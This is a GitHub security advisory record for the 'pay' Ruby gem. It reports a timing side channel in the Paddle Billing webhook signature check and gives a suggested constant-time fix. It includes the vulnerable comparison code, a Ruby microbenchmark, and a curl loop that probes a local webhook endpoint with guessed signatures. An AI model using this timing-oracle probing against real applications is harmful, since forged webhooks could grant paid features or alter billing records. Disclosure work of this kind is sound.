{"affected":[{"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-mjgf-xj26-9qf9/GHSA-mjgf-xj26-9qf9.json"},"package":{"ecosystem":"RubyGems","name":"pay","purl":"pkg:gem/pay"},"ranges":[{"events":[{"introduced":"0"},{"last_affected":"11.6.1"}],"type":"ECOSYSTEM"}],"versions":["0.0.0","0.0.2","1.0.0","1.0.0.beta2","1.0.0.beta3","1.0.0.beta4","1.0.0.beta5","1.0.0.rc1","1.0.0.rc2","1.0.0.rc3","1.0.1","1.0.2","10.0.0","10.0.1","10.0.2","10.0.3","10.0.4","10.1.0","10.1.1","10.1.2","10.1.3","10.1.4","10.1.5","11.0.0","11.0.1","11.1.0","11.1.1","11.1.2","11.1.3","11.2.0","11.2.1","11.2.2","11.2.3","11.3.0","11.3.1","11.4.0","11.4.1","11.4.2","11.4.3","11.5.0","11.6.0","11.6.1","2.0.0","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.1.3","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.4.0","2.4.2","2.4.3","2.4.4","2.5.0","2.6.0","2.6.1","2.6.10","2.6.11","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.6.9","2.7.0","2.7.1","2.7.2","3.0.0","3.0.1","3.0.10","3.0.11","3.0.12","3.0.13","3.0.14","3.0.15","3.0.16","3.0.17","3.0.18","3.0.19","3.0.2","3.0.20","3.0.21","3.0.22","3.0.23","3.0.24","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","4.0.0","4.0.1","4.0.2","4.0.4","4.1.0","4.1.1","4.2.0","4.2.1","5.0.0","5.0.1","5.0.2","5.0.3","5.0.4","6.0.0","6.0.1","6.0.2","6.0.3","6.1.0","6.1.1","6.1.2","6.2.0","6.2.1","6.2.2","6.2.3","6.2.4","6.3.0","6.3.1","6.3.2","6.3.3","6.3.4","6.4.0","6.5.0","6.6.0","6.6.1","6.7.0","6.7.1","6.7.2","6.8.0","6.8.1","7.0.0","7.1.0","7.1.1","7.2.0","7.2.1","7.3.0","8.0.0","8.1.0","8.1.1","8.1.2","8.1.3","8.2.0","8.2.1","8.2.2","8.3.0","9.0.0","9.0.1"]}],"aliases":["CVE-2026-70658"],"database_specific":{"cwe_ids":["CWE-208"],"github_reviewed":true,"github_reviewed_at":"2026-07-01T18:57:02Z","nvd_published_at":null,"severity":"HIGH"},"details":"## Summary\n\n`Pay::Webhooks::PaddleBillingController#valid_signature?` (`app/controllers/pay/webhooks/paddle_billing_controller.rb`) verifies the Paddle Billing webhook signature by computing `OpenSSL::HMAC.hexdigest(...)` and comparing it to the attacker-supplied header value using Ruby's `String#==`. Ruby's `==` is non-constant-time — it returns as soon as the first byte mismatches — and exposes a per-byte timing side channel on the webhook signature verification path. The canonical mitigation is to use a constant-time primitive (`OpenSSL.fixed_length_secure_compare` / `ActiveSupport::SecurityUtils.secure_compare`).\n\n## Impact\n\n- **CWE-208** — Observable Timing Discrepancy on the webhook signature verifier.\n- An attacker who can deliver requests to the `/pay/webhooks/paddle_billing` mount point can probe the verifier with guessed `Paddle-Signature` header values. Because `String#==` short-circuits on the first mismatching byte, the response-time distribution shifts as the prefix of the guess matches the real hex digest.\n- A signature recovered through the oracle lets the attacker deliver forged Paddle Billing webhook events (e.g. `subscription.created` / `transaction.completed`) against the host application. Pay's webhook processor enqueues a `Pay::Webhooks::ProcessJob` for any accepted webhook, which downstream applications use to update billing state — including provisioning paid features, recording refunds, and triggering customer notifications.\n- The endpoint is internet-reachable by definition (Paddle must POST events to it).\n\n## Affected versions\n\n`pay` (rubygem) ≤ v11.6.1 (latest release as of 2026-05-27).\n\n## Vulnerable code (file:line)\n\n`app/controllers/pay/webhooks/paddle_billing_controller.rb`:\n\n```ruby\n24:      def valid_signature?(paddle_signature)\n25:        return false if paddle_signature.blank?\n26:\n27:        ts_part, h1_part = paddle_signature.split(\";\")\n28:        _, ts = ts_part.split(\"=\")\n29:        _, h1 = h1_part.split(\"=\")\n30:\n31:        signed_payload = \"#{ts}:#{request.raw_post}\"\n32:\n33:        key = Pay::PaddleBilling.signing_secret\n34:        data = signed_payload\n35:        digest = OpenSSL::Digest.new(\"sha256\")\n36:\n37:        hmac = OpenSSL::HMAC.hexdigest(digest, key, data)\n38:        hmac == h1                          # <-- non-constant-time '=='\n39:      end\n```\n\n`hmac` is the 64-character hex-encoded SHA-256 HMAC of `\"<ts>:<raw_post>\"` under the application's configured Paddle Billing signing secret. The comparison with `h1` (the attacker-supplied `h1=` token from the `Paddle-Signature` header) uses Ruby's native `String#==`, which is implemented in MRI as `rb_str_equal` and returns immediately on the first byte mismatch.\n\n## How an attacker reaches this code\n\n1. Any Pay-using Rails application mounting `Pay::Engine` exposes `POST /pay/webhooks/paddle_billing` to the public internet (Paddle requires the endpoint to be reachable). The controller is configured by default in `config/routes.rb` when `paddle_billing` is enabled.\n2. The controller's `before_action :verify_signature` invokes `valid_signature?` on every inbound request.\n3. An attacker repeatedly POSTs forged webhook payloads with `Paddle-Signature: ts=<now>;h1=<guess>` headers and measures the response time. The verifier returns early on the first mismatching byte of the hex digest; with a sufficient probe count per byte position, response-time distribution reveals when the prefix of `<guess>` matches the real `hmac`.\n4. A signature recovered through the oracle lets the attacker forge arbitrary Paddle Billing webhook deliveries.\n\n## Proof of concept (microbenchmark)\n\nLocal Ruby microbenchmark isolating the verifier comparison path:\n\n```ruby\nrequire 'openssl'\nrequire 'benchmark'\nrequire 'securerandom'\n\nkey = SecureRandom.hex(32)\npayload = '1730000000:{\"event_type\":\"transaction.completed\"}'\nreal_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, payload)\nputs \"real_hmac=#{real_hmac}\"\n\ndef verify(real, guess)\n  real == guess     # mirrors paddle_billing_controller.rb:38\nend\n\nguesses = {\n  'all-wrong'    => ('0' * real_hmac.length),\n  'match-1byte'  => real_hmac[0..0]  + '0' * (real_hmac.length - 1),\n  'match-32byte' => real_hmac[0..31] + '0' * (real_hmac.length - 32),\n  'match-63byte' => real_hmac[0..62] + '0',\n  'exact-match'  => real_hmac.dup,\n}\niters = 10_000_000\n3.times { guesses.each_value { |g| 1_000_000.times { real_hmac == g } } }  # warmup\nguesses.each do |label, g|\n  t = Benchmark.realtime { iters.times { real_hmac == g } }\n  puts \"#{label.ljust(15)} avg_ns=#{(t * 1e9 / iters).round}\"\nend\n```\n\nThis isolates the same `String#==` path used by `valid_signature?`. The static defect is verifiable by `bundle show pay` and reading line 38 of the controller.\n\n## End-to-end reproduction against `gem install pay --version 11.6.1`\n\nMinimal Rails 8 app mounting `Pay::Engine` with `paddle_billing` enabled:\n\n```bash\ngem install rails -v 8.0.2\nrails new payapp --skip-test --skip-bundle\ncd payapp\necho \"gem 'pay', '11.6.1'\" >> Gemfile\necho \"gem 'paddle', '~> 2.0'\" >> Gemfile\nbundle install\nbin/rails g pay:install\n# config/initializers/pay.rb adds Pay.setup, paddle_billing config\n# config/routes.rb already has 'mount Pay::Engine => \"/pay\"' from generator\n\nbin/rails server &\n\n# attacker probes the webhook endpoint\nWEBHOOK=\"http://127.0.0.1:3000/pay/webhooks/paddle_billing\"\nBODY='{\"event_type\":\"transaction.completed\",\"data\":{}}'\nTS=$(date +%s)\n# Try guesses with different prefix-match counts; response-time delta is the oracle\nfor guess in 0000000000000000000000000000000000000000000000000000000000000000 \\\n             a000000000000000000000000000000000000000000000000000000000000000 ; do\n  for _ in 1 2 3; do\n    curl -s -w '%{time_total}\\n' -o /dev/null \\\n      -X POST -H \"Paddle-Signature: ts=$TS;h1=$guess\" \\\n      -H 'Content-Type: application/json' -d \"$BODY\" \"$WEBHOOK\"\n  done\ndone\n```\n\nThe static defect is verifiable by:\n\n```\n$ bundle show pay\n.../gems/pay-11.6.1\n$ sed -n '38p' .../gems/pay-11.6.1/app/controllers/pay/webhooks/paddle_billing_controller.rb\n        hmac == h1\n```\n\nAfter the fix is applied, the verifier uses `ActiveSupport::SecurityUtils.secure_compare`, which compares all bytes regardless of mismatch position, and the timing oracle closes.\n\n## Suggested fix\n\nReplace `==` with `ActiveSupport::SecurityUtils.secure_compare` (Pay is a Rails engine, so ActiveSupport is always available).\n\n```diff\n       def valid_signature?(paddle_signature)\n         return false if paddle_signature.blank?\n \n         ts_part, h1_part = paddle_signature.split(\";\")\n         _, ts = ts_part.split(\"=\")\n         _, h1 = h1_part.split(\"=\")\n \n         signed_payload = \"#{ts}:#{request.raw_post}\"\n \n         key = Pay::PaddleBilling.signing_secret\n         data = signed_payload\n         digest = OpenSSL::Digest.new(\"sha256\")\n \n         hmac = OpenSSL::HMAC.hexdigest(digest, key, data)\n-        hmac == h1\n+        return false if h1.nil? || hmac.bytesize != h1.bytesize\n+        ActiveSupport::SecurityUtils.secure_compare(hmac, h1)\n       end\n```\n\nThe bytesize-equality guard ensures `secure_compare` does not return early on a length mismatch (it falls back to `==` if lengths differ on older Rails versions). For the Paddle Billing signing format the hex tag is a fixed 64 chars.\n\n## Credit\n\nReported by tonghuaroot (https://github.com/tonghuaroot).","id":"GHSA-mjgf-xj26-9qf9","modified":"2026-09-15T03:56:00.408562725Z","published":"2026-07-01T18:57:02Z","references":[{"type":"WEB","url":"https://github.com/pay-rails/pay/security/advisories/GHSA-mjgf-xj26-9qf9"},{"type":"PACKAGE","url":"https://github.com/pay-rails/pay"}],"schema_version":"1.9.0","severity":[{"score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","type":"CVSS_V3"}],"summary":"pay-rails/pay: non-constant-time HMAC comparison in Paddle Billing webhook signature verifier"}